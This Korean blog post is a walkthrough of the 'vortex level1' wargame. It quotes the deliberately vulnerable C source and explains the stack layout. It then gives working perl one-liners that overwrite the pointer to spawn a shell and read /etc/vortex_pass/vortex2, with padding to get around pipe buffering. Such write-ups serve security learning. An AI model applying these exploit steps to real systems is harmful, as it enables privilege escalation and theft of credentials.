Mylabs

vortex level1 - BOF 본문

Wargame

vortex level1 - BOF

[Edge] 2009. 5. 1. 13:16


BOF의 핵심은 스택의 구조를 잘 파악하고 있느냐이다.
BOF 및 스택에 대한 내용은 리버스 엔지니어링에 올려두었다.

http://mylabs.tistory.com/1

level1의 소스는 다음과 같다.

#include
<stdlib.h>

#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
 
void print(unsigned char *buf, int len)
{
         int i;
         printf("[ ");
         for(i=0; i < len; i++) printf("%x ", buf[i]); 
         printf(" ]\n");
}
 
int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
               switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}

이 문제의 요지는 ptr의 값이다. #define 문의 if문이 참값이 되어야 쉘을 띄울수가 있다.
그렇다면 ptr의 값은 0xca000000 이 되어야 할것이다.

메인함수 안에 선언된 변수들이 스택에 쌓이는 모습을 보자.

bottom of                                                            top of
memory                                                            memory
         x   *ptr     buf                                                 
<------[4  ][4  ] [512                                               ]  (단위 : bytes)

top of                                                            bottom of
stack                                                                 stack

ptr은 현재  buf+ (sizeof(buf)/2) 의 위치를 가르키는 주소값을 가지고 있는 것이다.

char 형 포인터로 선언되었으며, 주소값4바이트의 값을 ptr은 가지고 있는것이다. 우리는 ptr이 담고있는 4바이트 값을 바꾸는것이다. 여기서 포인터의 개념때문에 혼동이 올수도 있을 것이다.
*ptr은 ptr이 가르키는 곳의 1바이트의 값이지만, ptr은 그 1바이트가 위치한 곳의 주소 4바이트 값을 담고 있다는 것을 이해하고 있어야한다.

일반적인 bof문제들처럼 perl을 사용해서, 4바이트 x의 값위에 위치한 ptr에 값을 써주면 되는것이다. 물론 리틀엔디안 방식을 취해야 할 것이다.

자, 하지만 vortex level1의 문제는 일반적인 Buffer Overflows 처럼 할수 없게끔 소스가 짜여져 있다.
즉 소스를 완벽히 파악해야, 문제를 풀 수 있다는 것이다.

"\n" 과 "\\" 를 제외한 나머지 값들은 모두 default 케이스 루틴을 타게 되며,
e()함수를 호출하게 된다. 이때 if문을 만족한다면 continue;를 아니라면 입력받은 값x를 ptr[0]에 넣고, ptr 포인터값을 증가시키고 break;문을 만나게 된다.

실지로, ./level1 을 실행시켜 "a"를 입력해보면 buf[256]=ptr의 위치에 0x61이 저장된 것을 볼수 있다.
입력한 값 x가 ptr포인터가 가르키는 곳에 입력이 되는 것을 이용해서 문제를 풀어야한다. 

bottom of                                                            top of
memory                                                            memory
         x   *ptr    buf                   *ptr = buf[256]         
<------[4  ][4  ][512                  *ptr                        ]     (단위 : bytes)

top of                                                            bottom of
stack                                                                 stack

최초 "a" "엔터", 그다음 "b" "엔터" 를 입력하면 ptr의 포인터가 점점 증가하는것을 볼수가 있다. "0x61"과 "0x62"가 저장되는 위치를 확인할 수 있기 때문이다.

우리는 buf[512] 배열의 하나하나의 주소값은 모른다. 그리고 ptr 포인터가 가지고 있는 메모리주소도 역시 알지못하는 상태이다. 물론 gdb를 이용해서 값을 알아낼수는 있을 것이다. 하지만 문제의 소스만으로도 충분한 힌트가 되며 문제가 의도하는 바에 접근이 가능하다.

우리가 입력하게 되는 값은 ptr이 가르키는 곳에 저장이 된다. 하지만 우리는 ptr포인터의 주소값 자체를 바꾸어야한다. 그럼 어떻게 하면 될까 switch문에 그 해답이 있다.
"\\"를 입력하게 되면 ptr포인터값이 --연산을 하게된다고 소스는 우리에게 알려준다.
즉, 포인터값을 감소시켜서 실제 ptr이 가르키는 곳을 ptr포인터 값이 있는 4바이트 메모리까지 이동시키면 되는 것이다. 리틀 엔디안 방식으로 저장해야하므로 ptr포인터 메모리 4바이트 중 ptr|0  |1  |2  |3  | 
ptr[3] 번 부터 채워야 할 것이다.

perl -e 'printf "\x5c"x257;printf "\xca";printf "\x5c"x4;printf "\x0"x3;printf "\ncat /etc/vortex_pass/vortex2"'|./level1

"\x5c"는 포인터를 땡기는 동작과 우리가 입력하는 값들로 인한 포인터 증가를 다시 원위치로 돌리기 위해
입력하는 값이다.


처음 문제를 풀 당시엔 결론이 위처럼 나왔다. '아 저렇게 하면 되겠지...' -_-;;
하지만, 위와 같이 입력하면 쉘이 뜨는 동시에, exit로 원래의 쉘로 돌아오게된다...

무엇이 문제일까..
문제점을 찾은 동시에 새로운 사실을 하나 알게되었다. 리눅스에서 사용되는 |(파이프) 명령어는
4096바이트를 차지한다는 것
이다.
즉, 4096바이트 크기를 넘지않는 4096바이트 안에 포함된 모든 입력값들은 파이프 명령어가 먹어치우기 때문에
쉘에 명령어가 전달이 되지 못한다는 것이다.

perl -e 'printf "\x5c"x257;printf "\xca";printf "\x5c"x4;printf "\x0"x3;printf "a"x3830;printf "\ncat /etc/vortex_pass/vortex2"'|./level1

그래서 다음과 같이 4096-(257+1+4+3) = 3831만큼을 더 채워줘야한다.
위 명령은 모자르는 3831바이트 중 3830만큼을 "a"로 채우고, 쉘 명령어 전에 "\n"를 넣어줌으로써,
4096바이트를 모두 채우고 쉘에 cat /etc/vortex_pass/vortex2 를 인자로 던지게 되는 것이다.

'Wargame' 카테고리의 다른 글

vortex level0 - recv() 함수  (0) 2009.04.27